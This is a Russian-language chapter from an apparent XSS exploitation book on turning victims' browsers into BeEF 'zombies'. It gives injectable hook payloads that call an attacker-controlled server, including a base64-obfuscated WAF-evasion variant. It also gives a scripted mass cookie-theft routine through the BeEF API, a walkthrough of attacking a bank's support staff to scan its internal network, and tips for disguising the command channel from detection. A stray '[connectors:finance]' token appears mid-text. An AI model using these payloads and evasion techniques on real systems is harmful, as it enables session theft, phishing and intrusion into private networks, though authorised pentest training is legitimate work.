Книга: «Все об уязвимости XSS». Глава 7. Эксплуатация XSS - Время красть cookie 🍪 • BeEF Framework: превращаем браузер в зомби

Всё, что мы разобрали в этой главе - cookie grabbing, keylogging, фишинг - это отдельные payload'ы, которые ты пишешь и отправляешь вручную. BeEF (Browser Exploitation Framework) берёт все эти техники, упаковывает в единую платформу и добавляет самое главное - постоянный канал управления скомпрометированным браузером в реальном времени. Это переход от разовых уколов к полноценному захвату: жертва становится "зомби" в твоём ботнете, а ты получаешь консоль, откуда можно нажимать кнопки, а не писать код заново для каждой атаки.

Что такое BeEF и почему он меняет правила игры

BeEF - это open-source фреймворк, специально созданный для эксплуатации через браузер. В отличие от обычного XSS payload'а, который выполняется один раз и исчезает, BeEF устанавливает постоянное "зацепление" (hook) - JavaScript-файл, который держит связь с командным сервером всё то время, пока страница с ним открыта в браузере жертвы.

Ключевое отличие от техник, которые мы разбирали ранее в этой главе: cookie grabbing и keylogging - это "выстрелил и забыл". BeEF даёт тебе живую сессию: ты видишь, когда жертва онлайн, можешь запускать модули в реальном времени, комбинировать атаки и адаптироваться на ходу, наблюдая за реакцией жертвы.

Установка и запуск BeEF

BeEF предустановлен в Kali Linux, но легко разворачивается на любой системе.

git clone https://github.com/beefproject/beef.git
cd beef
gem install bundler
bundle install

Конфигурация перед запуском:

Открой config.yaml и смени дефолтные креды для админ-панели (это критично - открытая BeEF-панель с паролем beef:beef - подарок для других атакующих):

beef:
credentials:
user: "your_secure_username"
passwd: "your_secure_password_here"

Запуск:

./beef

После старта BeEF поднимает:

  • Веб-панель управления на http://127.0.0.1:3000/ui/panel
  • Hook-скрипт, доступный по адресу http://127.0.0.1:3000/hook.js

The Hook - сердце BeEF

Всё начинается с одной строчки, которую нужно внедрить через найденную XSS-уязвимость:

<script src="http://your-beef-server.com:3000/hook.js"></script>

Полный payload для инъекции:

<img src=x onerror="var s=document.createElement('script');s.src='http://your-beef-server.com:3000/hook.js';document.body.appendChild(s)">

Как только этот скрипт выполняется в браузере жертвы, происходит следующее:

  1. Hook-скрипт регистрирует браузер жертвы в BeEF как новую "zombie"-сессию
  2. Устанавливается постоянный polling-канал (обычно через AJAX-запросы каждые несколько секунд), через который командный сервер отправляет инструкции
  3. В твоей панели управления появляется новая запись с деталями браузера: версия, OS, плагины, разрешение экрана, IP-адрес

Обфусцируй hook как обычный payload, применяя техники из главы 6 , чтобы обойти WAF при инъекции:

<svg onload="eval(atob('dmFyIHM9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnc2NyaXB0Jyk7cy5zcmM9J2h0dHA6Ly95b3VyLWJlZWYtc2VydmVyLmNvbTozMDAwL2hvb2suanMnO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQocyk='))">

Панель управления - твой командный центр

После открытия панели (admin:your_password) ты видишь дерево "Online Browsers" - список всех активных зомби-сессий, сгруппированных по доменам, откуда они были захвачены.

Кликнув на конкретную сессию, получаешь доступ к нескольким вкладкам:

Details - техническая информация о браузере: User-Agent, разрешение экрана, установленные плагины, поддержка WebRTC, платформа. Это тот же fingerprint, о котором мы говорили в разделе про session hijacking - только собранный автоматически.

Logs - журнал всех событий, произошедших с этим hook'ом: когда подключился, какие модули были запущены.

Commands - самое важное. Здесь находится каталог из сотен готовых модулей эксплуатации, разбитых по категориям.

Модули BeEF - арсенал одним кликом

Social Engineering модули

BeEF включает готовые фишинг-шаблоны, автоматизирующие технику, которую мы разбирали в предыдущем разделе :

  • Fake Flash Update - показывает жертве поддельное окно обновления Flash Player с загрузкой malware
  • Pretty Theft - имитирует диалоговое окно повторного логина от Facebook, Gmail и других популярных сервисов, встроенное прямо в текущую страницу
  • iFrame Overlay - накладывает невидимый iframe поверх страницы для перехвата кликов

Запуск модуля - просто дважды кликаешь на него в дереве Commands, настраиваешь параметры (например, какой сервис имитировать) и жмёшь Execute.

Browser модули

  • Get Cookie - автоматизированная версия cookie grabbing из первого раздела главы , но без необходимости писать payload вручную
  • Get Local Storage / Get Session Storage - извлечение данных из веб-хранилищ, актуально для SPA-приложений с JWT-токенами
  • Detect Software - определяет установленные браузерные плагины и версии для подбора подходящих эксплойтов

Network модули

  • Port Scanner - использует браузер жертвы как точку сканирования внутренней сети. Это критично важно: если жертва сидит во внутренней корпоративной сети, ты можешь просканировать её изнутри через её же браузер, обходя внешний файрвол
  • Ping Sweep - обнаружение живых хостов в локальной сети жертвы
  • Fingerprint Network - определение других устройств и сервисов в той же подсети

Это превращает браузер жертвы в pivot-точку для атаки на всю внутреннюю инфраструктуру - особенно опасно, если жертва работает в банке или другой финансовой организации с защищённой внутренней сетью [connectors:finance].

Persistence модули

  • Man-In-The-Browser - модуль, который перехватывает и модифицирует запросы, отправляемые со страницы, в реальном времени
  • Confirm - заставляет браузер жертвы держать соединение открытым дольше, продлевая жизнь zombie-сессии

Exploitation модули

BeEF интегрируется с Metasploit через плагин beef_metasploit, что позволяет напрямую запускать браузерные эксплойты (например, под конкретную версию Flash или Java) прямо из командной панели BeEF, если у жертвы обнаружено уязвимое ПО через модуль Detect Software.

Man-in-the-Browser - продвинутая техника перехвата

Один из самых мощных модулей BeEF - Man-in-the-Browser, который позволяет модифицировать содержимое форм на лету, комбинируя техники form hijacking, которые мы разбирали в разделе про keylogging .

Например, модуль "Webcam" запрашивает у жертвы доступ к веб-камере под видом легитимного запроса сайта (WebRTC permission prompt выглядит нативно для браузера, поэтому жертва часто не задумывается и разрешает).

Комбинирование техник главы в единый сценарий через BeEF

Представь полный сценарий атаки на портал финансовой организации, где найден XSS:

  1. Инъекция hook'а через уязвимую точку входа (например, форма поддержки, как мы разбирали в разделе про Blind XSS ранее)
  2. Автоматический Get Cookie - как только сотрудник поддержки открывает тикет, BeEF мгновенно извлекает session cookie
  3. Port Scanner запускается автоматически для разведки внутренней сети банка через браузер сотрудника
  4. Pretty Theft модуль показывает поддельное окно повторной авторизации, если основной cookie оказался защищён HttpOnly
  5. Man-in-the-Browser перехватывает любые данные, вводимые в течение сессии, пока сотрудник продолжает работать с открытой вкладкой

Всё это происходит без необходимости писать новый payload для каждого шага - ты просто кликаешь модули в панели, а BeEF делает всю грязную работу.

RESTful API - автоматизация на промышленном уровне

BeEF предоставляй REST API, что позволяет полностью автоматизировать управление зомби-сессиями через скрипты:

import requests
BEEF_URL = "http://127.0.0.1:3000"
auth = requests.post(f"{BEEF_URL}/api/admin/login",
data={"username": "admin", "password": "your_password"}).json()
token = auth['token']
hooked_browsers = requests.get(f"{BEEF_URL}/api/hooks?token={token}").json()
for session_id in hooked_browsers['hooked-browsers']['online'].keys():
requests.post(f"{BEEF_URL}/api/modules/{session_id}/0/1?token={token}",
json={"cmd": "get_cookie"})

Это позволяет масштабировать атаку на десятки одновременных zombie-сессий, автоматически прогоняя каждую через одинаковый набор модулей без ручного клика по каждой отдельно.

Обход детекции для устойчивого hook'а

Полный BeEF hook создаёт заметный сетевой трафик (постоянный polling к командному серверу). Для маскировки:

Ретейминг URL hook-скрипта:

Разверни BeEF за reverse-proxy с доменом, похожим на легитимный CDN или аналитический сервис, применяя те же принципы маскировки доменов, что мы разбирали в разделе про keylogging .

Изменение интервала polling:

В config.yaml можно замедлить частоту опроса, снижая заметность в Network tab:

beef:
http:
session_cookie_name: "BEEFHOOK"
hook:
poll_interval: 15000

Этические и правовые рамки

BeEF - легальный и широко используемый инструмент в профессиональном пентесте, но его мощь означает, что применение вне рамок подписанного договора с чётким scope немедленно превращается в тяжкое преступление - несанкционированный доступ к компьютерным системам, а при использовании модулей Network против внутренней инфраструктуры компании - ещё и потенциальный шпионаж в отношении коммерческой тайны. Используй BeEF исключительно в bug bounty программах, где явно разрешено демонстрировать impact через фреймворки эксплуатации, либо в контролируемых lab-средах для обучения.

Заключение

BeEF Framework - это точка, где XSS перестаёт быть уязвимостью одного запроса и становится полноценной платформой постоянного контроля. Cookie grabbing, keylogging, фишинг - все техники, разобранные в этой главе, объединяются здесь в единую экосистему с графическим интерфейсом, готовыми модулями и API для автоматизации. Именно поэтому при демонстрации impact в отчётах по bug bounty профессионалы часто прикладывают скриншот BeEF-панели с захваченной сессией - это самый наглядный способ показать заказчику, что "просто alert(1)" на самом деле означает полный контроль над браузером сотрудника, доступ к внутренней сети и потенциальную компрометацию всей инфраструктуры.

11 views·2 shares